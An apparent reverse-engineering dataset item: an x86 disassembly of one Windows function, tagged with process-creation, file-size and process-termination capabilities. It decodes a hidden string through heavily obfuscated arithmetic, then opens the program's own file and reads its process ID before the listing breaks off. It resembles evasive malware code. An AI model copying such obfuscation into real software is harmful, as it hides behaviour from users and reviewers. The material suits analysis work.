Function at 0x4474b0
Capabilities:
Create process on windows
Get file size
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x20
mov esi, esp
cmp dword [0x474678], 0
jne 0x44857f
jmp 0x4474cd
mov cl, byte [0x4736c0]
mov dl, cl
and dl, 0xff
shl dl, 1
mov al, cl
add al, 0xff
sub al, dl
mov dl, cl
xor dl, 0xff
or al, dl
and al, 0x53
xor al, 0xff
and al, 0xff
or al, 0
xor cl, 0xff
mov dl, cl
and dl, 0x53
xor cl, 0x53
or dl, cl
xor al, 0xff
and dl, dl
xor dl, 0xff
xor dl, 0xff
or dl, 0
xor dl, 0xff
or dl, 0
or al, dl
mov byte [0x473730], al
mov al, byte [0x4736c1]
xor al, 0x96
mov byte [0x473731], al
mov al, byte [0x4736c2]
mov cl, al
xor cl, 0xff
and cl, 0xf7
and al, 8
or cl, al
mov byte [0x473732], cl
mov cl, byte [0x4736c3]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
and al, dl
xor al, 0xff
and al, 4
or cl, 4
xor cl, 0xff
and cl, 0xff
or cl, 0
xor al, 0xff
xor cl, 0xff
and cl, 0xff
or cl, 0
xor al, 0xff
xor cl, 0xff
or al, cl
xor al, 0xff
and al, 0xff
mov byte [0x473733], al
mov al, byte [0x4736c4]
mov cl, al
xor cl, 0xff
and cl, 0xde
and al, 0x21
or cl, al
mov byte [0x473734], cl
mov cl, byte [0x4736c5]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
and al, dl
xor al, 0xff
and al, 0x2f
xor cl, 0xff
and cl, 0xd0
or al, cl
xor al, 0xff
mov byte [0x473735], al
mov al, byte [0x4736c6]
mov cl, al
or cl, cl
xor cl, 0xff
xor cl, 0xff
and cl, 0xfe
xor al, 0xff
and al, 1
or cl, al
xor cl, 0xff
mov byte [0x473736], cl
mov al, byte [0x4736c7]
xor al, 0xe7
mov byte [0x473737], al
mov al, byte [0x4736c8]
mov cl, al
and cl, cl
xor cl, 0xff
xor cl, 0xff
or cl, 0x9c
xor al, 0xff
or al, 0x63
and cl, al
xor cl, 0xff
mov byte [0x473738], cl
mov al, byte [0x4736c9]
xor al, 0xf7
mov byte [0x473739], al
mov cl, byte [0x4736ca]
mov al, cl
xor al, 0xff
and al, 0xfb
mov dl, cl
and dl, 4
or al, dl
xor al, 4
mov dl, cl
xor dl, 0xff
xor dl, 0xff
and dl, 0xff
shl dl, 1
sub dl, 0xff
mov ah, cl
sub ah, dl
and al, ah
xor al, 0xff
and al, 0x86
mov dl, cl
xor dl, 0xff
xor dl, 0xff
and dl, 0xff
shl dl, 1
sub dl, 0xff
sub cl, dl
and cl, 0x79
or al, cl
mov cl, al
and cl, 0xff
shl cl, 1
add al, 0xff
sub al, cl
mov byte [0x47373a], al
mov al, byte [0x4736cb]
xor al, 0x79
mov byte [0x47373b], al
mov al, byte [0x4736cc]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
or dl, cl
and dl, 0xff
xor dl, 0xff
xor dl, 0xff
or dl, 0
mov ah, al
xor ah, 0xff
and ah, 0xff
or ah, 0
mov cl, dl
and cl, ah
xor dl, ah
or cl, dl
and cl, 0x8c
xor cl, 0xff
mov dl, al
xor dl, 0xff
xor dl, 0xff
and dl, 0xff
shl dl, 1
sub dl, 0xff
sub al, dl
or al, 0x8c
xor cl, 0xff
xor al, 0xff
or cl, al
xor cl, 0xff
and cl, 0xff
xor cl, 0xff
mov byte [0x47373c], cl
mov al, byte [0x4736cd]
mov cl, al
xor cl, 0xff
and cl, 0x52
and al, 0xad
or cl, al
mov byte [0x47373d], cl
mov al, byte [0x4736ce]
xor al, 0xbc
mov byte [0x47373e], al
mov al, byte [0x4736cf]
mov cl, al
xor cl, 0xff
and cl, 0x35
and al, 0xca
or cl, al
mov byte [0x47373f], cl
mov cl, byte [0x4736d0]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
and al, dl
xor al, 0xff
and al, 0xff
xor al, 0xff
and al, 0xff
mov dl, al
xor dl, 0x31
xor dl, 0xff
or al, 0x31
and al, dl
and cl, 0xce
mov dl, al
or dl, cl
xor dl, 0xff
xor al, 0xff
xor cl, 0xff
and al, cl
or dl, al
xor dl, 0xff
mov byte [0x473740], dl
mov al, byte [0x4736d1]
mov cl, al
xor cl, 0xff
and cl, 0x40
and al, 0xbf
or cl, al
mov byte [0x473741], cl
mov al, byte [0x4736d2]
mov cl, al
xor cl, 0xff
mov dl, al
xor dl, 0xff
and cl, dl
or cl, 0x4f
xor cl, 0xff
xor al, 0xff
and al, 0x4f
xor cl, 0xff
xor al, 0xff
and cl, al
mov byte [0x473742], cl
mov dl, byte [0x4736d3]
mov cl, dl
and cl, cl
mov al, cl
xor al, 0xff
and al, 0x76
and cl, 0x89
or al, cl
xor al, 0x89
and al, 0xe3
xor al, 0xff
and dl, 0x1c
mov cl, dl
xor cl, 0xff
xor dl, 0xff
and cl, dl
xor cl, 0xff
and cl, 0xff
or cl, 0
xor cl, 0xff
xor al, 0xff
mov dl, cl
and dl, 0xff
shl dl, 1
add cl, 0xff
sub cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov byte [0x473743], dl
mov al, byte [0x4736d4]
mov cl, al
xor cl, 0xff
and cl, 0x6d
and al, 0x92
or cl, al
xor cl, 0xf6
mov byte [0x473744], cl
mov cl, byte [0x4736d5]
mov al, cl
xor al, 0xff
and al, 0x4f
mov dl, cl
and dl, 0xb0
or al, dl
xor al, 0xb0
mov dl, cl
xor dl, 0xff
xor dl, 0xff
and dl, 0xff
shl dl, 1
sub dl, 0xff
mov ah, cl
sub ah, dl
mov dl, al
xor dl, ah
xor dl, 0xff
or al, ah
and al, dl
xor al, 0xff
and al, 0x22
mov dl, cl
xor dl, 0xff
and dl, 0x1e
and cl, 0xe1
or dl, cl
xor dl, 0xe1
and dl, 0xdd
mov cl, dl
and cl, al
xor cl, 0xff
add al, dl
add al, 1
add al, cl
xor al, 0xff
mov byte [0x473745], al
mov cl, byte [0x4736d6]
mov al, cl
xor al, 0xff
mov dl, al
xor dl, 0xf4
xor dl, 0xff
or al, 0xf4
and al, dl
mov dl, cl
xor dl, 0xf4
and dl, cl
mov cl, al
and cl, dl
xor al, dl
or cl, al
mov byte [0x473746], cl
mov al, byte [0x4736d7]
xor al, 0x5f
mov byte [0x473747], al
mov al, byte [0x4736d8]
mov cl, al
xor cl, 0xff
and cl, 0x85
and al, 0x7a
or cl, al
xor cl, 0x43
mov byte [0x473748], cl
mov cl, byte [0x4736d9]
mov dl, cl
xor dl, 0xff
xor dl, 0xff
and dl, 0xff
shl dl, 1
sub dl, 0xff
mov al, cl
sub al, dl
mov dl, cl
xor dl, 0xff
mov ah, al
xor ah, dl
xor ah, 0xff
or al, dl
and al, ah
or al, 0x68
xor al, 0xff
xor cl, 0xff
and cl, 0x68
xor al, 0xff
and al, 0xff
or al, 0
mov dl, cl
xor dl, 0xff
and dl, 0x4e
and cl, 0xb1
or dl, cl
xor dl, 0xb1
or al, al
xor al, 0xff
mov cl, dl
xor cl, 0xff
xor dl, 0xff
and cl, dl
or al, cl
xor al, 0xff
mov byte [0x473749], al
mov cl, byte [0x4736da]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
and al, dl
or al, 0
xor al, 0xff
or al, 0
xor al, 0xff
and al, 1
mov dl, cl
add dl, 1
xor cl, 0xff
or cl, 0xfe
add cl, dl
or al, cl
mov cl, al
xor cl, 0xff
and cl, 0xf2
and al, 0xd
or cl, al
xor cl, 0x13
mov byte [0x47374a], cl
mov al, byte [0x4736db]
mov cl, al
xor cl, 0xff
and cl, 0xb0
and al, 0x4f
or cl, al
mov byte [0x47374b], cl
mov al, byte [0x4736dc]
mov dl, al
xor dl, 0xb3
mov cl, dl
xor cl, 0xff
and cl, 0xce
and dl, 0x31
or cl, dl
xor cl, 0x31
xor cl, 0xff
xor cl, 0xb3
and cl, 0xb3
shl cl, 1
sub cl, 0xb3
sub al, cl
mov byte [0x47374c], al
mov al, byte [0x4736dd]
xor al, 0xae
mov byte [0x47374d], al
mov al, byte [0x4736de]
mov cl, al
and cl, 0xff
shl cl, 1
mov dl, al
add dl, 0xff
sub dl, cl
mov cl, al
xor cl, 0xff
and cl, 0xfc
mov ah, al
and ah, 3
or cl, ah
xor cl, 3
and dl, cl
mov ah, dl
xor ah, 0xff
mov cl, ah
and cl, 0x2e
and dl, 0xd1
or cl, dl
xor cl, 0xae
or ah, 0x7f
xor ah, 0xff
and ah, 0xff
or cl, ah
xor cl, 0xff
and cl, 0xff
or cl, 0
or al, 0x7f
mov dl, al
and dl, 0xff
shl dl, 1
add al, 0xff
sub al, dl
mov dl, cl
xor dl, 0xff
xor dl, 0xff
and dl, 0xff
shl dl, 1
sub dl, 0xff
sub cl, dl
mov dl, al
xor dl, 0xff
xor al, 0xff
or dl, al
xor dl, 0xff
or dl, 0
and dl, 0xff
xor dl, 0xff
mov al, cl
xor al, 0xff
mov ah, dl
xor ah, 0xff
or al, ah
xor cl, 0xff
xor dl, 0xff
or cl, dl
and al, cl
xor al, 0xff
mov byte [0x47374e], al
mov al, byte [0x4736df]
mov dl, al
and dl, dl
xor dl, 0xff
mov cl, al
add cl, cl
add cl, 1
add cl, dl
mov dl, cl
and dl, 0xff
shl dl, 1
add cl, 0xff
sub cl, dl
xor cl, 0xff
and cl, 0x87
xor al, 0xff
and al, 0x78
mov ah, cl
xor ah, 0xff
mov ch, al
xor ch, 0xff
mov dl, ah
and dl, 0x80
and cl, 0x7f
and al, 0x7f
or dl, cl
or al, 0x80
xor dl, al
or ah, ch
xor ah, 0xff
and ah, 0xff
or dl, ah
mov al, dl
xor al, 0xff
xor al, 0xff
and al, 0xff
shl al, 1
sub al, 0xff
sub dl, al
mov byte [0x47374f], dl
mov al, byte [0x4736e0]
mov cl, al
xor cl, 0xff
and cl, 0xdf
and al, 0x20
or cl, al
mov byte [0x473750], cl
mov al, byte [0x4736e1]
xor al, 0xdd
mov byte [0x473751], al
mov cl, byte [str._n_fO]
mov al, cl
xor al, 0xff
xor al, 0xff
or al, 0xd5
xor al, 0xff
and al, 0xff
mov dl, cl
xor dl, 0x2a
and dl, cl
mov cl, dl
xor cl, 0xff
mov ah, al
and ah, cl
mov cl, al
xor cl, dl
add al, cl
sub al, ah
mov byte [0x473752], al
mov al, byte [0x4736e3]
xor al, 0x6a
mov byte [0x473753], al
mov al, byte [0x4736e4]
mov cl, al
and cl, 0x3c
shl cl, 1
add al, 0x3c
sub al, cl
mov byte [0x473754], al
mov al, byte [0x4736e5]
xor al, 0xa6
mov byte [0x473755], al
mov ah, byte [0x4736e6]
mov al, ah
or al, al
xor al, 0xff
or al, 4
xor al, 0xff
mov cl, ah
xor cl, 0xff
mov dl, cl
and dl, 0xf0
and ah, 0xf
or dl, ah
xor dl, 0xb
or cl, 4
xor cl, 0xff
and cl, 0xff
or dl, cl
mov cl, dl
xor cl, 0xff
xor dl, 0xff
or cl, dl
xor cl, 0xff
or cl, 0
xor cl, 0xff
or cl, 0
xor al, 0xff
or cl, cl
xor cl, 0xff
or cl, 0
xor cl, 0xff
or cl, 0
xor cl, 0xff
and al, cl
mov byte [0x473756], al
mov ch, byte [0x4736e7]
mov cl, ch
and cl, 0xb1
mov dl, cl
and dl, 0xfd
mov al, cl
xor al, 0xff
and al, 2
mul dl
mov dl, al
mov dh, cl
and dh, 2
or cl, 2
mov al, cl
mul dh
add al, dl
sub ch, 0xf9
add ch, 0xb1
add ch, 0xf9
add ch, 0x64
sub ch, al
sub ch, 0x64
mov byte [0x473757], ch
mov al, byte [0x4736e8]
mov cl, al
xor cl, 0xff
mov dl, al
xor dl, 0xff
or cl, dl
xor cl, 0xff
or cl, 0x5f
xor al, 0xff
or al, 0xa0
xor cl, 0xff
xor al, 0xff
or cl, al
mov byte [0x473758], cl
mov al, byte [0x4736e9]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
or dl, cl
xor dl, 0xff
and dl, 0xff
or dl, 0
mov cl, dl
or cl, 0xa8
xor cl, 0xff
xor dl, 0xff
and dl, 0x57
or cl, dl
xor cl, 0xff
xor al, 0xff
or al, 0x57
xor al, 0xff
mov dl, cl
xor dl, al
and dl, cl
xor dl, 0xff
mov byte [0x473759], dl
mov al, byte [0x4736ea]
mov cl, al
xor cl, 0xff
and cl, 0xa3
mov dl, al
and dl, 0x5c
or cl, dl
xor cl, 0x53
xor cl, 0xff
and cl, 0xf0
shl cl, 1
sub cl, 0xf0
mov dl, al
xor dl, 0xff
and dl, cl
xor cl, 0xff
and al, cl
sub al, dl
mov byte [0x47375a], al
mov al, byte [0x4736eb]
xor al, 8
mov byte [0x47375b], al
mov al, byte [0x4736ec]
xor al, 0x60
mov byte [0x47375c], al
mov cl, byte [0x4736ed]
mov al, cl
xor al, 0xff
and al, 0xff
or al, 0
and al, 0x97
and cl, 0x68
and al, al
xor al, 0xff
and cl, cl
xor cl, 0xff
xor al, 0xff
xor cl, 0xff
or al, cl
xor al, 0x3f
mov byte [0x47375d], al
mov al, byte [0x4736ee]
mov cl, al
xor cl, 0xff
and cl, 0x44
and al, 0xbb
or cl, al
xor cl, 0x78
mov byte [0x47375e], cl
mov al, byte [0x4736ef]
mov cl, al
and cl, 8
shl cl, 1
add al, 8
mov dl, al
xor dl, cl
xor cl, 0xff
and al, cl
shl al, 1
sub al, dl
mov byte [0x47375f], al
mov al, byte [0x4736f0]
xor al, 5
mov byte [0x473760], al
mov al, byte [0x4736f1]
mov dl, al
xor dl, 0xff
and dl, 0xff
or dl, 0
mov cl, al
and cl, 0xff
shl cl, 1
mov ah, al
add ah, 0xff
sub ah, cl
or dl, ah
mov cl, dl
and cl, 0xb4
xor cl, 0xff
xor dl, 0xff
or dl, 0x4b
and cl, dl
xor cl, 0xff
or cl, cl
xor cl, 0xff
or cl, 0
xor cl, 0xff
or cl, 0
xor cl, 0xff
xor al, 0xff
and al, al
xor al, 0xff
and al, 0x4b
xor al, 0xff
and cl, al
xor cl, 0xff
mov byte [0x473761], cl
mov al, byte [0x4736f2]
xor al, 0xaf
mov byte [0x473762], al
mov al, byte [0x4736f3]
mov cl, al
xor cl, 0xff
and cl, 0xfe
and al, 1
or cl, al
mov byte [0x473763], cl
mov al, byte [0x4736f4]
xor al, 0x3c
mov byte [0x473764], al
mov al, byte [0x4736f5]
mov dl, al
xor dl, 0xaa
xor dl, 0xff
and dl, 0xaa
shl dl, 1
sub dl, 0xaa
mov cl, al
sub cl, dl
mov dl, cl
xor dl, 0xff
xor dl, 0xff
and dl, 0xff
shl dl, 1
sub dl, 0xff
sub cl, dl
and cl, 0xaa
shl cl, 1
sub cl, 0xaa
sub al, cl
mov byte [0x473765], al
mov cl, byte [0x4736f6]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
and al, dl
or al, 0xc1
mov dl, al
and dl, 0xff
shl dl, 1
add al, 0xff
sub al, dl
or cl, 0x3e
xor cl, 0xff
and cl, 0xff
or cl, 0
xor al, 0xff
and al, 0xff
or al, 0
and cl, cl
xor cl, 0xff
xor cl, 0xff
or cl, 0
and cl, 0xff
xor cl, 0xff
xor al, 0xff
xor cl, 0xff
or al, cl
xor al, 0xff
and al, 0xff
mov byte [0x473766], al
mov ch, byte [0x4736f7]
mov cl, ch
xor cl, 0xeb
xor cl, 0xff
and cl, 0xeb
mov al, cl
xor al, 0xff
mov dl, al
and dl, 2
or al, 2
xor al, 0xff
mul dl
mov dl, al
mov dh, cl
and dh, 2
or cl, 2
mov al, cl
mul dh
add al, dl
add al, 0x14
add al, 1
xor al, 0xff
add ch, al
add ch, 1
mov byte [0x473767], ch
mov al, byte [0x4736f8]
xor al, 8
mov byte [0x473768], al
mov cl, byte [0x4736f9]
mov al, cl
or al, al
xor al, 0xff
or al, 0
xor al, 0xff
or al, 0
xor al, 0xff
mov dl, cl
xor dl, 0xff
mov ah, al
add ah, 1
xor al, 0xff
or al, dl
add al, ah
mov dl, al
and dl, 0xff
shl dl, 1
add al, 0xff
sub al, dl
and al, 0x88
xor cl, 0xff
mov dl, cl
xor dl, 0xff
or dl, 0x88
and cl, 0x77
xor cl, 0xff
and dl, cl
xor dl, 0xff
mov cl, al
xor cl, 0xff
mov ch, dl
xor ch, 0xff
mov ah, cl
and ah, 0x5f
and al, 0xa0
mov dh, ch
and dh, 0x5f
and dl, 0xa0
or ah, al
or dh, dl
xor ah, dh
or cl, ch
xor cl, 0xff
and cl, 0xff
or ah, cl
xor ah, 0xff
mov byte [0x473769], ah
mov al, byte [0x4736fa]
mov cl, al
or cl, cl
xor cl, 0xff
xor cl, 0xff
and cl, 0x52
or al, 0x52
xor al, 0xff
or cl, al
xor cl, 0xff
mov byte [0x47376a], cl
mov al, byte [0x4736fb]
xor al, 0x5b
mov byte [0x47376b], al
mov ch, byte [0x4736fc]
mov cl, ch
xor cl, 0xa4
mov al, cl
xor al, 0xff
xor al, 0xff
and al, 0xff
shl al, 1
sub al, 0xff
sub cl, al
and cl, 0xa4
mov al, cl
xor al, 0xff
mov dl, al
and dl, 2
or al, 2
xor al, 0xff
mul dl
mov dl, al
mov dh, cl
and dh, 2
or cl, 2
mov al, cl
mul dh
add al, dl
sub al, 0xa4
sub ch, al
mov byte [0x47376c], ch
mov al, byte [0x4736fd]
mov cl, al
xor cl, 0xff
and cl, 0x4d
and al, 0xb2
or cl, al
mov byte [0x47376d], cl
mov cl, byte [0x4736fe]
mov dl, cl
and dl, 0xff
shl dl, 1
mov al, cl
add al, 0xff
sub al, dl
mov dl, cl
xor dl, 0xff
or al, dl
xor al, 0xff
mov dl, al
and dl, 0x34
xor dl, 0xff
add al, 0x34
add al, 1
add al, dl
mov ah, cl
xor ah, 0xff
and ah, 0x91
and cl, 0x6e
or ah, cl
xor ah, 0x6e
mov dl, ah
xor dl, 0xff
mov cl, dl
and cl, 0x5e
and ah, 0xa1
or cl, ah
xor cl, 0x95
or dl, 0x34
xor dl, 0xff
and dl, 0xff
or cl, dl
xor cl, 0xff
mov dl, al
xor dl, cl
and dl, al
mov al, dl
xor al, 0xff
xor al, 0xff
and al, 0xff
shl al, 1
sub al, 0xff
sub dl, al
mov byte [0x47376e], dl
mov cl, byte [0x4736ff]
mov dl, cl
and dl, dl
xor dl, 0xff
mov al, dl
xor al, 0xff
xor dl, 0xff
or al, dl
xor al, 0xff
or al, 0
xor al, 0xff
or al, 0
or al, 0xd9
and cl, 0xd9
mov dl, cl
xor dl, 0xff
xor cl, 0xff
and dl, cl
xor dl, 0xff
and dl, 0xff
or dl, 0
xor dl, 0xff
xor al, 0xff
mov cl, dl
xor cl, 0xff
xor dl, 0xff
and cl, dl
xor cl, 0xff
and cl, 0xff
or cl, 0
xor cl, 0xff
or al, cl
mov byte [0x47376f], al
mov al, byte [0x473700]
mov cl, al
xor cl, 0xff
mov dl, al
xor dl, 0xff
and cl, dl
xor cl, 0xff
and cl, 0xff
xor cl, 0xff
and cl, 0xff
mov dl, cl
and dl, 0x77
xor dl, 0xff
xor cl, 0xff
or cl, 0x88
and dl, cl
xor dl, 0xff
and al, 0x88
or dl, al
mov byte [0x473770], dl
mov al, byte [0x473701]
mov cl, al
xor cl, 0xf9
xor cl, 0xff
and cl, 0xf9
shl cl, 1
sub cl, 0xf9
sub al, cl
mov byte [0x473771], al
mov al, byte [0x473702]
mov cl, al
xor cl, 0xff
and cl, 0x33
and al, 0xcc
or cl, al
xor cl, 0x12
mov byte [0x473772], cl
mov al, byte [0x473703]
mov cl, al
xor cl, 0xff
and cl, 0x13
and al, 0xec
or cl, al
mov byte [0x473773], cl
mov cl, byte [0x473704]
mov dl, cl
and dl, dl
mov al, dl
xor al, 0xff
and al, 0xe
and dl, 0xf1
or al, dl
xor al, 0xf1
mov dl, al
xor dl, 0xff
xor dl, 0xff
and dl, 0xff
shl dl, 1
sub dl, 0xff
sub al, dl
and al, al
xor al, 0xff
and al, 0xc5
xor al, 0xff
xor cl, 0xff
mov dl, cl
and dl, 0xc5
xor cl, 0xc5
or dl, cl
xor al, 0xff
xor dl, 0xff
or al, dl
mov byte [0x473774], al
mov al, byte [0x473705]
mov cl, al
xor cl, 0xff
and cl, 0xd0
and al, 0x2f
or cl, al
mov byte [0x473775], cl
mov al, byte [0x473706]
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
mov dl, al
sub dl, cl
and dl, 0x19
mov cl, al
xor cl, 0x19
and cl, al
or dl, cl
mov byte [0x473776], dl
mov al, byte [0x473707]
xor al, 0xd0
mov byte [0x473777], al
mov al, byte [0x473708]
mov cl, al
xor cl, 0xff
and cl, 0xff
or cl, 0
xor cl, 0xff
xor cl, 0x8d
and cl, 0x8d
and al, 0x72
or cl, al
mov byte [0x473778], cl
mov al, byte [0x473709]
xor al, 0x5d
mov byte [0x473779], al
mov al, byte [0x47370a]
mov cl, al
or cl, cl
xor cl, 0xff
or cl, 0xe3
xor cl, 0xff
xor al, 0xff
and al, 0xe3
or cl, al
xor cl, 0xff
mov byte [0x47377a], cl
mov al, byte [0x47370b]
xor al, 0xd9
mov byte [0x47377b], al
mov al, byte [0x47370c]
xor al, 3
mov byte [0x47377c], al
mov cl, byte [0x47370d]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
or al, dl
xor al, 0xff
and al, 0xff
xor al, 0xff
xor al, 0xff
and al, al
xor al, 0xff
and al, 0x41
xor al, 0xff
xor cl, 0xff
mov ah, cl
xor ah, 0xff
mov dl, ah
and dl, 0xa1
and cl, 0x5e
or dl, cl
xor dl, 0xe0
or ah, 0xbe
xor ah, 0xff
and ah, 0xff
or dl, ah
xor al, 0xff
xor dl, 0xff
mov cl, al
xor cl, 0xff
mov ah, dl
xor ah, 0xff
and cl, ah
or al, dl
xor al, 0xff
xor cl, 0xff
xor al, 0xff
and cl, al
mov byte [0x47377d], cl
mov al, byte [0x47370e]
xor al, 0x21
mov byte [0x47377e], al
mov al, byte [0x47370f]
mov cl, al
and cl, 0x44
shl cl, 1
mov dl, al
and dl, 0x44
or al, 0x44
add dl, al
sub dl, cl
mov byte [0x47377f], dl
mov al, byte [0x473710]
mov cl, al
xor cl, 0xff
and cl, 0xf4
and al, 0xb
or cl, al
mov byte [0x473780], cl
mov al, byte [0x473711]
xor al, 0x52
mov byte [0x473781], al
mov al, byte [0x473712]
xor al, 0x44
mov byte [0x473782], al
mov al, byte [0x473713]
xor al, 0x37
mov byte [0x473783], al
mov al, byte [0x473714]
mov cl, al
xor cl, 0x10
xor cl, 0xff
and cl, 0x10
shl cl, 1
sub cl, 0x10
sub al, cl
mov byte [0x473784], al
mov al, byte [0x473715]
mov cl, al
xor cl, 0xff
xor cl, 0xff
or cl, 0xe0
xor cl, 0xff
and cl, 0xff
and al, 0xe0
or cl, al
mov byte [0x473785], cl
mov al, byte [0x473716]
mov cl, al
or cl, cl
xor cl, 0xff
or cl, 0x6c
xor cl, 0xff
or al, 0x93
xor al, 0xff
xor cl, 0xff
xor al, 0xff
and cl, al
mov byte [0x473786], cl
mov al, byte [0x473717]
mov cl, al
xor cl, 0xff
and cl, 0x21
and al, 0xde
or cl, al
mov byte [0x473787], cl
mov al, byte [0x473718]
xor al, 0xce
mov byte [0x473788], al
mov al, byte [0x473719]
mov cl, al
and cl, 0xc4
shl cl, 1
add al, 0xc4
sub al, cl
mov byte [0x473789], al
mov al, byte [0x47371a]
mov dl, al
xor dl, 0xff
xor dl, 0xff
and dl, 0xff
shl dl, 1
sub dl, 0xff
mov cl, al
sub cl, dl
xor cl, 0xff
or cl, 0xe6
xor cl, 0xff
and cl, 0xff
and al, 0xe6
mov dl, al
xor dl, 0xff
mov ah, cl
and ah, dl
mov dl, cl
xor dl, al
add cl, dl
sub cl, ah
mov byte [0x47378a], cl
mov al, byte [0x47371b]
mov cl, al
and cl, 0xff
shl cl, 1
mov ah, al
add ah, 0xff
sub ah, cl
mov cl, al
xor cl, 0xff
mov dl, ah
xor dl, 0xff
xor ah, 0xff
and dl, ah
mov ah, cl
xor ah, 0xff
xor cl, 0xff
and ah, cl
or dl, ah
xor dl, 0xff
mov cl, dl
or cl, 0x3d
xor cl, 0xff
xor dl, 0xff
and dl, 0xc2
xor cl, 0xff
xor dl, 0xff
and cl, dl
xor cl, 0xff
or al, 0xc2
mov dl, al
xor dl, 0xff
xor al, 0xff
or dl, al
and dl, 0xff
xor dl, 0xff
and dl, 0xff
xor dl, 0xff
mov al, cl
and al, 0xff
shl al, 1
add cl, 0xff
sub cl, al
xor dl, 0xff
and cl, dl
mov byte [0x47378b], cl
mov cl, byte [0x47371c]
mov dl, cl
and dl, 0xff
shl dl, 1
mov al, cl
add al, 0xff
sub al, dl
mov dl, al
xor dl, 0xaa
xor dl, 0xff
or al, 0xaa
and al, dl
mov dl, cl
xor dl, 0xaa
and dl, cl
mov cl, dl
and cl, al
xor cl, 0xff
add al, dl
add al, 1
add al, cl
mov byte [0x47378c], al
mov al, byte [0x47371d]
xor al, 0xf5
mov byte [0x47378d], al
mov al, byte [0x47371e]
mov cl, al
xor cl, 0xff
mov dl, al
xor dl, 0xff
or cl, dl
xor cl, 0xff
or cl, 0xdb
and al, 0xdb
xor al, 0xff
xor cl, 0xff
xor al, 0xff
or cl, al
mov byte [0x47378e], cl
mov al, byte [0x47371f]
mov cl, al
and cl, 0xaf
shl cl, 1
add al, 0xaf
sub al, cl
mov byte [0x47378f], al
mov al, byte [0x473720]
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
mov ah, al
sub ah, cl
mov dl, al
xor dl, 0xff
and dl, 0x61
mov cl, al
and cl, 0x9e
or dl, cl
xor dl, 0x9e
mov cl, ah
xor cl, 0xff
xor ah, 0xff
or cl, ah
mov ah, dl
xor ah, 0xff
xor dl, 0xff
or ah, dl
and cl, ah
xor cl, 0xff
and cl, 7
xor cl, 0xff
xor al, 0xff
or al, 7
mov dl, cl
and dl, 0xff
shl dl, 1
add cl, 0xff
sub cl, dl
mov dl, al
xor dl, 0xff
xor al, 0xff
or dl, al
xor dl, 0xff
or dl, 0
and dl, 0xff
xor dl, 0xff
mov al, dl
xor al, 0xff
mov ah, cl
and ah, al
mov al, cl
xor al, dl
add cl, al
sub cl, ah
mov byte [0x473790], cl
mov al, byte [0x473721]
mov cl, al
or cl, cl
mov dl, cl
xor dl, 0xff
xor cl, 0xff
and dl, cl
or dl, 0
xor dl, 0xff
or dl, 0
xor dl, 0xff
xor dl, 0xff
mov cl, dl
xor cl, 0xff
xor dl, 0xff
and cl, dl
or cl, 0x34
xor cl, 0xff
or al, 0xcb
xor al, 0xff
mov dl, cl
xor dl, 0xff
xor dl, 0xff
and dl, 0xff
shl dl, 1
sub dl, 0xff
sub cl, dl
and al, al
xor al, 0xff
and al, 0xff
xor al, 0xff
xor al, 0xff
or al, 0
and cl, al
mov byte [0x473791], cl
mov al, byte [0x473722]
xor al, 0x9a
mov byte [0x473792], al
mov al, byte [0x473723]
xor al, 0xad
mov byte [0x473793], al
mov al, byte [0x473724]
mov cl, al
xor cl, 0xff
and cl, 0x92
and al, 0x6d
or cl, al
xor cl, 0xd9
mov byte [0x473794], cl
mov al, byte [0x473725]
xor al, 0xfc
mov byte [0x473795], al
mov al, byte [0x473726]
xor al, 0xb4
mov byte [0x473796], al
mov al, byte [0x473727]
xor al, 9
mov byte [0x473797], al
jmp 0x44857f
mov dword [0x474678], 1
push eax
sub esp, 0x7fc
mov dword [esi + 0x14], esp
sub esp, 0x200
mov dword [esi], esp
push eax
mov ebx, esp
push eax
mov dword [esi + 8], esp
sub esp, 8
mov edi, esp
and edi, 0xfffffff8
mov esp, edi
push eax
mov dword [esi + 0x10], esp
sub esp, 0x68
mov dword [esi + 0xc], esp
sub esp, 4
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
call eax
mov dword [ebx], eax
mov eax, dword [ebx]
sub esp, 0xc
mov ebx, dword [esi]
mov dword [esp + 4], ebx
mov dword [esp], eax
mov dword [esp + 8], 0x200
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call eax
sub esp, 0x1c
mov dword [esp], ebx
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 7
mov dword [esp + 4], 0x80000000
mov eax, dword [sym.imp.KERNEL32.dll_CreateFileA]
call eax
mov ebx, dword [esi + 8]
mov dword [ebx], eax
mov eax, dword [ebx]
sub esp, 8
mov dword [esi + 4], edi
mov dword [esp + 4], edi
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
call eax
mov eax, dword [edi]
add eax, 0xffffffff
adc dword [edi + 4], 0xffffffff
mov dword [edi], eax
mov eax, dword [ebx]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, dword [esi + 0x10]
mov dword [ecx], eax
lea eax, [0x473730]
sub esp, 0xc
mov edi, dword [esi + 0xc]
mov dword [esp], edi
mov dword [esp + 4], eax
mov dword [esp + 8], 0x68
call fcn.0044dcd0
add esp, 0xc
mov eax, dword [esi + 4]
mov eax, dword [eax]
sub esp, 0x18
mov ebx, dword [esi + 0x14]
mov dword [esp], ebx
mov dword [esp + 4], 0x800
mov dword [esp + 8], edi
mov dword [esp + 0xc], eax
mov eax, dword [esi]
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
call fcn.004486e0
add esp, 0x18
xor eax, eax
sub esp, 8
mov dword [esp], ebx
